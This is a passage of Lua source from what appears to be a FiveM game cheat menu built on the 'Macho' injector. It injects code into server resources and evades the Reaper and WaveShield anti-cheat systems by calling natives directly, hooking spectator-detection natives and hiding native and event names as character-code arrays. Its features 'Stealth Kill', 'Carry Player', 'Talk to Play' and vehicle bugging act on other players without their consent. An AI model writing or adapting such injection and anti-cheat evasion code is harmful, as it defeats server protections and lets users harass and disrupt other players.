_G.NetworkHasControlOfEntity or function(...) end local Wait = _G.Wait or function(...) end local SetEntityVisible = _G.SetEntityVisible or function(...) end local SetPedIntoVehicle = _G.SetPedIntoVehicle or function(...) end local SetEntityCoords = _G.SetEntityCoords or function(...) end local ClearPedTasks = _G.ClearPedTasks or function(...) end local GetGameTimer = _G.GetGameTimer or function(...) end local AttachEntityToEntityPhysically = _G.AttachEntityToEntityPhysically or function(...) end local SetEntityHeading = _G.SetEntityHeading or function(...) end local SetEntityAlpha = _G.SetEntityAlpha or function(...) end local ResetEntityAlpha = _G.ResetEntityAlpha or function(...) end local DeleteEntity = _G.DeleteEntity or function(...) end local Citizen = _G.Citizen or {} local InvokeNative = Citizen.InvokeNative or function(...) end -- Native hash for NetworkRequestControlOfEntity (bypasses Reaper hook) local NETWORK_REQUEST_CONTROL_OF_ENTITY = 0xB69317BF5E782347 local function RequestControlDirect(entity) if not safeCall(DoesEntityExist, entity) then return false end -- Check if we already have control if safeCall(NetworkHasControlOfEntity, entity) then return true end -- Call native directly to bypass Reaper hook local attempts = 0 while not safeCall(NetworkHasControlOfEntity, entity) and attempts < 50 do safeCall(InvokeNative, NETWORK_REQUEST_CONTROL_OF_ENTITY, entity) safeCall(Wait, 0) attempts = attempts + 1 end return safeCall(NetworkHasControlOfEntity, entity) end safeCall(CreateThread, function() local targetPed = safeCall(GetPlayerPed, %d) local myPed = safeCall(PlayerPedId) safeCall(SetPedConfigFlag, myPed, 342, false) safeCall(SetPedConfigFlag, myPed, 252, true) safeCall(SetPedConfigFlag, myPed, 141, true) safeCall(SetPedConfigFlag, myPed, 144, true) if safeCall(DoesEntityExist, targetPed) then local targetPos = safeCall(GetEntityCoords, targetPed) local originalCoords = safeCall(GetEntityCoords, myPed) local originalHeading = safeCall(GetEntityHeading, myPed) local bugVehicle = safeCall(GetClosestVehicle, targetPos.x, targetPos.y, targetPos.z, 500.0, 0, 70) if not bugVehicle or bugVehicle == 0 then local playerVehicle = safeCall(GetVehiclePedIsIn, targetPed, false) if playerVehicle and playerVehicle ~= 0 then bugVehicle = playerVehicle else return end end -- First warp into driver seat, then request control after a delay safeCall(SetEntityVisible, bugVehicle, false, 0) safeCall(SetPedIntoVehicle, myPed, bugVehicle, -1) safeCall(Wait, 1000) -- Use direct native call to bypass Reaper detection RequestControlDirect(bugVehicle) safeCall(Wait, 100) RequestControlDirect(targetPed) safeCall(Wait, 100) -- Return vehicle and you to original position safeCall(SetEntityCoords, bugVehicle, originalCoords.x, originalCoords.y, originalCoords.z + 2.0, false, false, false, true) safeCall(SetEntityCoords, myPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false, true) safeCall(Wait, 200) safeCall(ClearPedTasks, myPed) safeCall(SetPedIntoVehicle, myPed, bugVehicle, -1) safeCall(Wait, 100) safeCall(CreateThread, function() local startTime = safeCall(GetGameTimer) local duration = 3000 while safeCall(GetGameTimer) - startTime < duration do safeCall(AttachEntityToEntityPhysically, bugVehicle, targetPed, 0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, true, true, true, true, 0) safeCall(Wait, 0) end -- Clean up safeCall(SetEntityCoords, myPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false, true) safeCall(SetEntityHeading, myPed, originalHeading) safeCall(SetEntityVisible, myPed, true, 0) safeCall(SetEntityAlpha, myPed, 255, 0) safeCall(ResetEntityAlpha, myPed) safeCall(Wait, 500) if safeCall(DoesEntityExist, bugVehicle) then safeCall(DeleteEntity, bugVehicle) end -- Auto-teleport to target player to sync safeCall(Wait, 500) local finalTargetPos = safeCall(GetEntityCoords, targetPed) if safeCall(DoesEntityExist, targetPed) then safeCall(SetEntityCoords, myPed, finalTargetPos.x, finalTargetPos.y, finalTargetPos.z, false, false, false, true) safeCall(Wait, 100) -- Teleport back to original position safeCall(SetEntityCoords, myPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false, true) safeCall(SetEntityHeading, myPed, originalHeading) end end) end end) ]], targetPlayer)) if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Bringing Player: " .. player.name .. " (ID: " .. selectedPlayerId .. ")", type = 'success' })) end break end end end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No player selected for teleporting!", type = 'warn' })) end end end }, { label = 'Stealth Kill', type = 'button', canBind = true, bindName = 'Stealth Kill Player', onConfirm = function() if selectedPlayerId then for _, player in ipairs(playerList or {}) do if player.id == selectedPlayerId then local targetPed = GetPlayerPed(player.localId) if DoesEntityExist(targetPed) then ---("Silent killing player:", player.name, "ID:", selectedPlayerId) -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("WaveShield") == "started" if waveShieldRunning then -- Direct execution for WaveShield (no injection needed) local targetPed = GetPlayerPed(player.localId) if targetPed and DoesEntityExist(targetPed) then local originalCoords = GetEntityCoords(targetPed) ForcePedMotionState(PlayerPedId(), 1110766645, 0, 0, 0) TaskLookAtEntity(PlayerPedId(), targetPed, -1, 0, 2.0) SetPedStealthMovement(PlayerPedId(), true, 0) local stopAt = GetGameTimer() + 5000 while GetGameTimer() <= stopAt do local playerPed = PlayerPedId() local playerCoords = GetEntityCoords(playerPed) local forwardVector = GetEntityForwardVector(playerPed) local forwardCoords = vector3( playerCoords.x + (forwardVector.x * 0.4), playerCoords.y + (forwardVector.y * 0.4), playerCoords.z ) SetEntityHeading(targetPed, GetEntityHeading(playerPed)) SetEntityAlpha(targetPed, 0, false) FreezeEntityPosition(targetPed, true) SetEntityCoords(targetPed, forwardCoords.x, forwardCoords.y, playerCoords.z - 0.96) Wait(1) end SetEntityCoords(targetPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false, false) SetEntityAlpha(targetPed, 255, false) FreezeEntityPosition(targetPed, false) end else -- Use Macho injection when WaveShield is not running SafeInjectResourceRaw(InjectionResource(), string.format([[ local function SilentKillPlayer() local targetPed = GetPlayerPed(%d) if targetPed and DoesEntityExist(targetPed) then local originalCoords = GetEntityCoords(targetPed) ForcePedMotionState(PlayerPedId(), 1110766645, 0, 0, 0) TaskLookAtEntity(PlayerPedId(), targetPed, -1, 0, 2.0) SetPedStealthMovement(PlayerPedId(), true, 0) local stopAt = GetGameTimer() + 5000 while GetGameTimer() <= stopAt do local playerPed = PlayerPedId() local playerCoords = GetEntityCoords(playerPed) local forwardVector = GetEntityForwardVector(playerPed) local forwardCoords = vector3( playerCoords.x + (forwardVector.x * 0.4), playerCoords.y + (forwardVector.y * 0.4), playerCoords.z ) SetEntityHeading(targetPed, GetEntityHeading(playerPed)) SetEntityAlpha(targetPed, 0, false) FreezeEntityPosition(targetPed, true) SetEntityCoords(targetPed, forwardCoords.x, forwardCoords.y, playerCoords.z - 0.96) Wait(1) end SetEntityCoords(targetPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false, false) SetEntityAlpha(targetPed, 255, false) FreezeEntityPosition(targetPed, false) end end SilentKillPlayer() ]], player.localId)) end if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Silent kill executed on: " .. player.name, type = 'success' })) end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Player ped not found: " .. player.name, type = 'error' })) end end break end end else ---("No player selected for silent kill!") if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No player selected for silent kill!", type = 'warn' })) end end end }, { label = 'Talk to Play', type = 'checkbox', checked = false, canBind = true, bindName = 'Toggle Talk to Play', onConfirm = function(setToggle) if setToggle then if selectedPlayerId then for _, player in ipairs(playerList or {}) do if player.id == selectedPlayerId then -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("WaveShield") == "started" if waveShieldRunning then -- Use Macho injection for WaveShield MachoInjectResource2(NewThreadNs, "WaveShield", string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local GetPlayerFromServerId = _G.GetPlayerFromServerId or function(...) end local GetPlayerPed = _G.GetPlayerPed or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local SetEntityVisible = _G.SetEntityVisible or function(...) end local SetEntityCollision = _G.SetEntityCollision or function(...) end local AttachEntityToEntity = _G.AttachEntityToEntity or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local GetEntityHeading = _G.GetEntityHeading or function(...) end local Wait = _G.Wait or function(...) end local CreateThread = _G.CreateThread or function(...) end -- Talk to Play variables if not _G.talkToPlay then _G.talkToPlay = { active = false, targetId = nil, thread = nil, originalCoords = nil, originalHeading = nil } end -- Stop any existing thread if _G.talkToPlay.thread then _G.talkToPlay.thread = nil end local targetServerId = %d local playerPed = safeCall(PlayerPedId) -- Store original position _G.talkToPlay.originalCoords = safeCall(GetEntityCoords, playerPed) _G.talkToPlay.originalHeading = safeCall(GetEntityHeading, playerPed) _G.talkToPlay.active = true _G.talkToPlay.targetId = targetServerId -- Start continuous attach thread _G.talkToPlay.thread = safeCall(CreateThread, function() while _G.talkToPlay and _G.talkToPlay.active do local targetPlayerId = safeCall(GetPlayerFromServerId, targetServerId) if targetPlayerId ~= -1 then local targetPed = safeCall(GetPlayerPed, targetPlayerId) local playerPed = safeCall(PlayerPedId) if safeCall(DoesEntityExist, targetPed) and safeCall(DoesEntityExist, playerPed) then -- Make yourself invisible safeCall(SetEntityVisible, playerPed, false, false) safeCall(SetEntityCollision, playerPed, false, false) -- Attach yourself underneath the target player safeCall(AttachEntityToEntity, playerPed, -- Entity to attach (you) targetPed, -- Entity to attach to (target) 0, -- Bone index (0 = root) 0.0, -- X offset 0.0, -- Y offset -2.5, -- Z offset (negative = below) 0.0, -- X rotation 0.0, -- Y rotation 0.0, -- Z rotation false, -- Use soft pinning false, -- Use collision false, -- Use rotation false, -- Teleport entity 2, -- Rotation order true -- Fix rotation ) end end safeCall(Wait, 100) end end) ]], player.id)) else -- Use Macho injection when WaveShield is not running VehicleInject(string.format([[ local function safeCall(fn, ...) if fn then return fn(...) end end local GetPlayerFromServerId = _G.GetPlayerFromServerId or function(...) end local GetPlayerPed = _G.GetPlayerPed or function(...) end local DoesEntityExist = _G.DoesEntityExist or function(...) end local PlayerPedId = _G.PlayerPedId or function(...) end local SetEntityVisible = _G.SetEntityVisible or function(...) end local SetEntityCollision = _G.SetEntityCollision or function(...) end local AttachEntityToEntity = _G.AttachEntityToEntity or function(...) end local GetEntityCoords = _G.GetEntityCoords or function(...) end local GetEntityHeading = _G.GetEntityHeading or function(...) end local Wait = _G.Wait or function(...) end local CreateThread = _G.CreateThread or function(...) end -- Talk to Play variables if not _G.talkToPlay then _G.talkToPlay = { active = false, targetId = nil, thread = nil, originalCoords = nil, originalHeading = nil } end -- Stop any existing thread if _G.talkToPlay.thread then _G.talkToPlay.thread = nil end local targetServerId = %d local playerPed = safeCall(PlayerPedId) -- Store original position _G.talkToPlay.originalCoords = safeCall(GetEntityCoords, playerPed) _G.talkToPlay.originalHeading = safeCall(GetEntityHeading, playerPed) _G.talkToPlay.active = true _G.talkToPlay.targetId = targetServerId -- Start continuous attach thread _G.talkToPlay.thread = safeCall(CreateThread, function() while _G.talkToPlay and _G.talkToPlay.active do local targetPlayerId = safeCall(GetPlayerFromServerId, targetServerId) if targetPlayerId ~= -1 then local targetPed = safeCall(GetPlayerPed, targetPlayerId) local playerPed = safeCall(PlayerPedId) if safeCall(DoesEntityExist, targetPed) and safeCall(DoesEntityExist, playerPed) then -- Make yourself invisible safeCall(SetEntityVisible, playerPed, false, false) safeCall(SetEntityCollision, playerPed, false, false) -- Attach yourself underneath the target player safeCall(AttachEntityToEntity, playerPed, -- Entity to attach (you) targetPed, -- Entity to attach to (target) 0, -- Bone index (0 = root) 0.0, -- X offset 0.0, -- Y offset -2.5, -- Z offset (negative = below) 0.0, -- X rotation 0.0, -- Y rotation 0.0, -- Z rotation false, -- Use soft pinning false, -- Use collision false, -- Use rotation false, -- Teleport entity 2, -- Rotation order true -- Fix rotation ) end end safeCall(Wait, 100) end end) ]], player.id)) end if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Talk to Play enabled on: " .. player.name, type = 'success' })) end break end end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No player selected for Talk to Play!", type = 'warn' })) end return false end else -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("WaveShield") == "started" if waveShieldRunning then -- Use Macho injection for WaveShield MachoInjectResource2(NewThreadNs, "WaveShield", [[ local function safeCall(fn, ...) if fn then return fn(...) end end local PlayerPedId = _G.PlayerPedId or function(...) end local DetachEntity = _G.DetachEntity or function(...) end local SetEntityVisible = _G.SetEntityVisible or function(...) end local SetEntityCollision = _G.SetEntityCollision or function(...) end local SetEntityCoords = _G.SetEntityCoords or function(...) end local SetEntityHeading = _G.SetEntityHeading or function(...) end local Wait = _G.Wait or function(...) end -- Stop talk to play if _G.talkToPlay and _G.talkToPlay.active then -- Stop the thread first _G.talkToPlay.active = false -- Give thread time to stop safeCall(Wait, 200) local playerPed = safeCall(PlayerPedId) safeCall(DetachEntity, playerPed, true, true) -- Make yourself visible again safeCall(SetEntityVisible, playerPed, true, false) safeCall(SetEntityCollision, playerPed, true, true) -- Restore to original position if _G.talkToPlay.originalCoords then safeCall(SetEntityCoords, playerPed, _G.talkToPlay.originalCoords.x, _G.talkToPlay.originalCoords.y, _G.talkToPlay.originalCoords.z, false, false, false, true) if _G.talkToPlay.originalHeading then safeCall(SetEntityHeading, playerPed, _G.talkToPlay.originalHeading) end end _G.talkToPlay.targetId = nil _G.talkToPlay.thread = nil _G.talkToPlay.originalCoords = nil _G.talkToPlay.originalHeading = nil end ]]) else -- Use Macho injection when WaveShield is not running VehicleInject([[ local function safeCall(fn, ...) if fn then return fn(...) end end local PlayerPedId = _G.PlayerPedId or function(...) end local DetachEntity = _G.DetachEntity or function(...) end local SetEntityVisible = _G.SetEntityVisible or function(...) end local SetEntityCollision = _G.SetEntityCollision or function(...) end local SetEntityCoords = _G.SetEntityCoords or function(...) end local SetEntityHeading = _G.SetEntityHeading or function(...) end local Wait = _G.Wait or function(...) end -- Stop talk to play if _G.talkToPlay and _G.talkToPlay.active then -- Stop the thread first _G.talkToPlay.active = false -- Give thread time to stop safeCall(Wait, 200) local playerPed = safeCall(PlayerPedId) safeCall(DetachEntity, playerPed, true, true) -- Make yourself visible again safeCall(SetEntityVisible, playerPed, true, false) safeCall(SetEntityCollision, playerPed, true, true) -- Restore to original position if _G.talkToPlay.originalCoords then safeCall(SetEntityCoords, playerPed, _G.talkToPlay.originalCoords.x, _G.talkToPlay.originalCoords.y, _G.talkToPlay.originalCoords.z, false, false, false, true) if _G.talkToPlay.originalHeading then safeCall(SetEntityHeading, playerPed, _G.talkToPlay.originalHeading) end end _G.talkToPlay.targetId = nil _G.talkToPlay.thread = nil _G.talkToPlay.originalCoords = nil _G.talkToPlay.originalHeading = nil end ]]) end if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Talk to Play disabled", type = 'info' })) end end end }, { label = 'Copy Outfit', type = 'button', canBind = true, bindName = 'Copy Player Outfit', onConfirm = function() if selectedPlayerId then for _, player in ipairs(playerList or {}) do if player.id == selectedPlayerId then local targetPlayer = GetPlayerFromServerId(selectedPlayerId) if targetPlayer ~= -1 then local targetPed = GetPlayerPed(targetPlayer) if targetPed and DoesEntityExist(targetPed) then --- ("Copying complete appearance from player:", player.name, "ID:", selectedPlayerId) -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("WaveShield") == "started" if not waveShieldRunning then -- Use Macho injection when WaveShield is not running SafeInjectResourceRaw(InjectionResource(), string.format([[ local function AsDfGhJkLqWe() local ZxCvBnMqWeRt = %d local UiOpAsDfGhJk = GetPlayerPed local QwErTyUiOpAs = PlayerPedId local DfGhJkLqWeRt = DoesEntityExist local ErTyUiOpAsDf = ClonePedToTarget local FgHjKlMnBvCx = SetPedHeadBlendData local VbNmAsDfGhJk = GetPedHeadBlendData local PlMnBvCxZaSd = SetPedFaceFeature local AsDfGhJkLzXc = GetPedFaceFeature local QwErTyUiOp12 = SetPedHairColor local ZxCvBnMqWe34 = GetPedHairColor local YuIoPlMnBv56 = SetPedEyeColor local HgFdSaQwEr78 = GetPedEyeColor local KjHgFdSaAs90 = SetPedComponentVariation local LkJhGfDsAz12 = GetPedDrawableVariation local PmNbVcXzQw34 = GetPedTextureVariation local RtYuIoPlMn56 = SetPedPropIndex local TyUiOpAsDf78 = GetPedPropIndex local GhJkLzXcVb90 = GetPedPropTextureIndex local VcXzAsDfGh12 = SetPedHeadOverlay local BnMqWeRtYu34 = GetPedHeadOverlay local AsDfGhJkLp56 = SetPedHeadOverlayColor local QwErTyUiAs78 = GetPedHeadOverlayValue local MnBvCxZaQwEr = GetEntityModel local PlOkMjNhBgVf = GetHashKey local AzXcVbNmQwEr = RequestModel local TyUiOpAsDfGh = HasModelLoaded local VfCdXsZaQwEr = SetPlayerModel local BnMqWsXeDcRf = PlayerId local GhJkMnBvCxZa = SetModelAsNoLongerNeeded local TyUiOpAsDfGh = UiOpAsDfGhJk(ZxCvBnMqWeRt) if DfGhJkLqWeRt(TyUiOpAsDfGh) then local YpAsDfGhJkLq = QwErTyUiOpAs() -- Check if target is using a different ped model local targetModel = MnBvCxZaQwEr(TyUiOpAsDfGh) local playerModel = MnBvCxZaQwEr(YpAsDfGhJkLq) if targetModel ~= playerModel then -- Copy their ped model first AzXcVbNmQwEr(targetModel) local timeout = 0 while not TyUiOpAsDfGh(targetModel) and timeout < 5000 do Wait(10) timeout = timeout + 10 end if TyUiOpAsDfGh(targetModel) then local myPlayerId = BnMqWsXeDcRf() VfCdXsZaQwEr(myPlayerId, targetModel) Wait(500) -- Wait for model to load -- Update ped reference after model change YpAsDfGhJkLq = QwErTyUiOpAs() -- Clean up model GhJkMnBvCxZa(targetModel) end end -- Clone the entire ped appearance ErTyUiOpAsDf(TyUiOpAsDfGh, YpAsDfGhJkLq) Wait(100) -- Small delay for clone to process -- Copy head blend data (parents) local sourceBlend = VbNmAsDfGhJk(TyUiOpAsDfGh) if sourceBlend then FgHjKlMnBvCx( YpAsDfGhJkLq, sourceBlend.firstFaceShape, sourceBlend.secondFaceShape, sourceBlend.firstSkinTone, sourceBlend.secondSkinTone, sourceBlend.shapeMix, sourceBlend.skinMix, sourceBlend.thirdMix, sourceBlend.isParent ) end -- Copy all face features (nose, lips, etc) for feature = 0, 19 do local featureValue = AsDfGhJkLzXc(TyUiOpAsDfGh, feature) PlMnBvCxZaSd(YpAsDfGhJkLq, feature, featureValue) end -- Copy hair color local hairColor, hairHighlight = ZxCvBnMqWe34(TyUiOpAsDfGh) QwErTyUiOp12(YpAsDfGhJkLq, hairColor, hairHighlight) -- Copy eye color local eyeColor = HgFdSaQwEr78(TyUiOpAsDfGh) YuIoPlMnBv56(YpAsDfGhJkLq, eyeColor) -- Copy all clothing components (0-11) for component = 0, 11 do local drawable = LkJhGfDsAz12(TyUiOpAsDfGh, component) local texture = PmNbVcXzQw34(TyUiOpAsDfGh, component) KjHgFdSaAs90(YpAsDfGhJkLq, component, drawable, texture, 0) end -- Copy all props (hats, glasses, etc) (0-7) for prop = 0, 7 do local propIndex = TyUiOpAsDf78(TyUiOpAsDfGh, prop) if propIndex ~= -1 then local propTexture = GhJkLzXcVb90(TyUiOpAsDfGh, prop) RtYuIoPlMn56(YpAsDfGhJkLq, prop, propIndex, propTexture, true) else -- Clear prop if target doesn't have it ClearPedProp(YpAsDfGhJkLq, prop) end end -- Copy head overlays (tattoos, makeup, etc) (0-12) for overlay = 0, 12 do local overlayValue = QwErTyUiAs78(TyUiOpAsDfGh, overlay) local overlayData = BnMqWeRtYu34(TyUiOpAsDfGh, overlay) if overlayData then VcXzAsDfGh12(YpAsDfGhJkLq, overlay, overlayData.index, overlayValue) if overlayData.colourType == 1 then AsDfGhJkLp56(YpAsDfGhJkLq, overlay, 1, overlayData.firstColour, overlayData.secondColour) elseif overlayData.colourType == 2 then AsDfGhJkLp56(YpAsDfGhJkLq, overlay, 2, overlayData.firstColour, overlayData.secondColour) end end end end end AsDfGhJkLqWe() ]], targetPlayer)) else -- Direct execution for WaveShield (no injection needed) local targetPed = GetPlayerPed(targetPlayer) if DoesEntityExist(targetPed) then local myPed = PlayerPedId() -- Check if target is using a different ped model local targetModel = GetEntityModel(targetPed) local playerModel = GetEntityModel(myPed) if targetModel ~= playerModel then RequestModel(targetModel) local timeout = 0 while not HasModelLoaded(targetModel) and timeout < 5000 do Wait(10) timeout = timeout + 10 end if HasModelLoaded(targetModel) then SetPlayerModel(PlayerId(), targetModel) Wait(500) myPed = PlayerPedId() SetModelAsNoLongerNeeded(targetModel) end end -- Clone the entire ped appearance ClonePedToTarget(targetPed, myPed) Wait(100) -- Copy head blend data local sourceBlend = GetPedHeadBlendData(targetPed) if sourceBlend then SetPedHeadBlendData(myPed, sourceBlend.firstFaceShape, sourceBlend.secondFaceShape, sourceBlend.firstSkinTone, sourceBlend.secondSkinTone, sourceBlend.shapeMix, sourceBlend.skinMix, sourceBlend.thirdMix, sourceBlend.isParent) end -- Copy all face features for feature = 0, 19 do local featureValue = GetPedFaceFeature(targetPed, feature) SetPedFaceFeature(myPed, feature, featureValue) end -- Copy hair and eye color local hairColor, hairHighlight = GetPedHairColor(targetPed) SetPedHairColor(myPed, hairColor, hairHighlight) SetPedEyeColor(myPed, GetPedEyeColor(targetPed)) -- Copy all clothing components for component = 0, 11 do local drawable = GetPedDrawableVariation(targetPed, component) local texture = GetPedTextureVariation(targetPed, component) SetPedComponentVariation(myPed, component, drawable, texture, 0) end -- Copy all props for prop = 0, 7 do local propIndex = GetPedPropIndex(targetPed, prop) if propIndex ~= -1 then local propTexture = GetPedPropTextureIndex(targetPed, prop) SetPedPropIndex(myPed, prop, propIndex, propTexture, true) else ClearPedProp(myPed, prop) end end -- Copy head overlays for overlay = 0, 12 do local overlayValue = GetPedHeadOverlayValue(targetPed, overlay) local overlayData = GetPedHeadOverlay(targetPed, overlay) if overlayData then SetPedHeadOverlay(myPed, overlay, overlayData.index, overlayValue) if overlayData.colourType == 1 then SetPedHeadOverlayColor(myPed, overlay, 1, overlayData.firstColour, overlayData.secondColour) elseif overlayData.colourType == 2 then SetPedHeadOverlayColor(myPed, overlay, 2, overlayData.firstColour, overlayData.secondColour) end end end end end if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Successfully copied complete appearance from: " .. player.name, type = 'success' })) end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Target player ped not found: " .. player.name, type = 'error' })) end end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Target player not found: " .. player.name, type = 'error' })) end end break end end else --- ("No player selected for outfit copying!") if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No player selected for outfit copying!", type = 'warn' })) end end end }, { label = 'Carry Player', type = 'button', canBind = true, bindName = 'Carry Player', onConfirm = function() if selectedPlayerId then --- ("Carrying player ID (V2):", selectedPlayerId) for _, player in ipairs(playerList or {}) do if player.id == selectedPlayerId then local targetPlayer = GetPlayerFromServerId(selectedPlayerId) if targetPlayer ~= -1 then local playerPed = PlayerPedId() local originalPos = GetEntityCoords(playerPed) local targetPed = GetPlayerPed(targetPlayer) if targetPed and targetPed ~= 0 then local targetCoords = GetEntityCoords(targetPed) if targetCoords then -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("WaveShield") == "started" if waveShieldRunning then -- Direct execution for WaveShield (no injection needed) SetEntityCoords(playerPed, targetCoords.x, targetCoords.y, targetCoords.z, false, false, false, true) Wait(50) local carryEvents = {"CarryPeople:sync", "takehostage:sync", "TakeHostage:sync", "esx_takehostage:sync"} for _, event in ipairs(carryEvents) do TriggerServerEvent(event, selectedPlayerId) Wait(25) end Wait(150) SetEntityCoords(playerPed, originalPos.x, originalPos.y, originalPos.z, false, false, false, true) Wait(50) ExecuteCommand("carry") Wait(25) for _, event in ipairs(carryEvents) do TriggerServerEvent(event, selectedPlayerId) Wait(25) end else -- Use Macho injection when WaveShield is not running SafeInjectResourceRaw(InjectionResource(), string.format([[ local function decode(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local function g(n) return _G[decode(n)] end local function wait(n) return Citizen.Wait(n) end local enc_natives = { fn_e5 = {83,101,116,69,110,116,105,116,121,67,111,111,114,100,115}, fn_ex = {69,120,101,99,117,116,101,67,111,109,109,97,110,100}, fn_t1 = {84,114,105,103,103,101,114,83,101,114,118,101,114,69,118,101,110,116} } local function CarryPlayerV2Enhanced() local playerPed = %d local targetCoords = vector3(%f, %f, %f) local originalPos = vector3(%f, %f, %f) -- Teleport to target g(enc_natives.fn_e5)(playerPed, targetCoords.x, targetCoords.y, targetCoords.z, false, false, false, true) wait(50) -- Try server events for carry systems local carryEvents = { decode({67,97,114,114,121,80,101,111,112,108,101,58,115,121,110,99}), -- CarryPeople:Nexus decode({116,97,107,101,104,111,115,116,97,103,101,58,115,121,110,99}), -- takehostage:Nexus decode({84,97,107,101,72,111,115,116,97,103,101,58,115,121,110,99}), -- TakeHostage:Nexus decode({101,115,120,95,116,97,107,101,104,111,115,116,97,103,101,58,115,121,110,99}) -- esx_takehostage:Nexus } for _, event in ipairs(carryEvents) do g(enc_natives.fn_t1)(event, %d) wait(25) end wait(150) -- Return to original position g(enc_natives.fn_e5)(playerPed, originalPos.x, originalPos.y, originalPos.z, false, false, false, true) wait(50) -- Execute carry command again at original position g(enc_natives.fn_ex)(decode({99,97,114,114,121})) -- carry wait(25) -- Final server event attempts for _, event in ipairs(carryEvents) do g(enc_natives.fn_t1)(event, %d) wait(25) end end CarryPlayerV2Enhanced() ]], playerPed, targetCoords.x, targetCoords.y, targetCoords.z, originalPos.x, originalPos.y, originalPos.z, selectedPlayerId, selectedPlayerId)) end if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Carried player: " .. player.name .. " (ID: " .. selectedPlayerId .. ")", type = 'success' })) end --- ("Carried player (V2):", player.name) end end break end end end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No player selected for carrying!", type = 'warn' })) end --- ("No player selected for carrying!") end end }, -- PB Player Button { label = 'PB Player', type = 'button', canBind = true, bindName = 'PB Player', onConfirm = function() if selectedPlayerId then --- ("Piggybacking player ID (V2):", selectedPlayerId) for _, player in ipairs(playerList or {}) do if player.id == selectedPlayerId then local targetPlayer = GetPlayerFromServerId(selectedPlayerId) if targetPlayer ~= -1 then local playerPed = PlayerPedId() local originalPos = GetEntityCoords(playerPed) local targetPed = GetPlayerPed(targetPlayer) if targetPed and targetPed ~= 0 then local targetCoords = GetEntityCoords(targetPed) if targetCoords then -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("WaveShield") == "started" if waveShieldRunning then -- Direct execution for WaveShield (no injection needed) SetEntityCoords(playerPed, targetCoords.x, targetCoords.y, targetCoords.z, false, false, false, true) Wait(50) ExecuteCommand("pb") Wait(150) SetEntityCoords(playerPed, originalPos.x, originalPos.y, originalPos.z, false, false, false, true) Wait(50) ExecuteCommand("pb") else -- Use Macho injection when WaveShield is not running SafeInjectResourceRaw(InjectionResource(), string.format([[ local function decode(tbl) local s = "" for i = 1, #tbl do s = s .. string.char(tbl[i]) end return s end local function g(n) return _G[decode(n)] end local function wait(n) return Citizen.Wait(n) end local enc_natives = { fn_e5 = {83,101,116,69,110,116,105,116,121,67,111,111,114,100,115}, fn_ex = {69,120,101,99,117,116,101,67,111,109,109,97,110,100} } local function PiggybackPlayerV2Enhanced() local playerPed = %d local targetCoords = vector3(%f, %f, %f) local originalPos = vector3(%f, %f, %f) -- Teleport to target g(enc_natives.fn_e5)(playerPed, targetCoords.x, targetCoords.y, targetCoords.z, false, false, false, true) wait(50) -- Execute piggyback command g(enc_natives.fn_ex)(decode({112,98})) -- pb wait(150) -- Return to original position g(enc_natives.fn_e5)(playerPed, originalPos.x, originalPos.y, originalPos.z, false, false, false, true) wait(50) -- Execute piggyback command again g(enc_natives.fn_ex)(decode({112,98})) -- pb end PiggybackPlayerV2Enhanced() ]], playerPed, targetCoords.x, targetCoords.y, targetCoords.z, originalPos.x, originalPos.y, originalPos.z)) end if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "Piggybacked player: " .. player.name .. " (ID: " .. selectedPlayerId .. ")", type = 'success' })) end --- ("Piggybacked player (V2):", player.name) end end break end end end else if dui then MachoSendDuiMessage(dui, json.encode({ action = 'notify', message = "No player selected for piggybacking!", type = 'warn' })) end --- ("No player selected for piggybacking!") end end }, { label = 'Spectate Player', type = 'checkbox', checked = false, canBind = true, bindName = 'Toggle Spectate Player', onConfirm = function(setToggle) if setToggle then if selectedPlayerId then --- ("Starting spectate for player ID:", selectedPlayerId) for _, player in ipairs(playerList or {}) do if player.id == selectedPlayerId then -- Hook natives to prevent detection while spectating (outside injection) -- NetworkSetInSpectatorMode (0x423DE3854BB50894) MachoHookNative(0x423DE3854BB50894, function(enabled, targetPed) -- Allow calls when our spectate is active if _G.simpleSpectate and _G.simpleSpectate.active then -- Call original native return true end -- Block detection calls return false, false end) -- IsPlayerInSpectatorMode (0x7E5B5155BC34618B) - return false to skip original MachoHookNative(0x7E5B5155BC34618B, function() -- Allow when our spectate is active if _G.simpleSpectate and _G.simpleSpectate.active then return true, true end return false, false end) -- Check if WaveShield is running - if yes, run directly; if no, use Macho injection local waveShieldRunning = GetResourceState("asdasdasddasdasdsadsadsa") == "started" if waveShieldRunning then -- Use Macho injection for WaveShield MachoInjectResource2(NewThreadNs, 